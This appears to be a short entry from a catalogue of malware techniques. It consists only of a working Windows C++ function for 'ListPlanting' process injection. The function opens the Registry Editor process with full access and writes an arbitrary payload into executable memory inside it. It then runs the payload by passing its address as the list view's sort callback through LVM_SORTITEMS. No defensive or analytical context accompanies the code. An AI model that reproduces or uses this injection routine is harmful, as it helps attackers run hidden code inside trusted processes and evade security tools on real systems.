Windows C++ / Listplanting

Code

VOID listplanting(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          lvm;
    LPVOID        cs;
    SIZE_T        wr;
    
    // 1. get the window handle
    lvm = FindWindow(L"RegEdit_RegEdit", NULL);
    lvm = FindWindowEx(lvm, 0, L"SysListView32", 0);
   
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(lvm, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 4. Trigger payload
    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);
    
    // 5. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}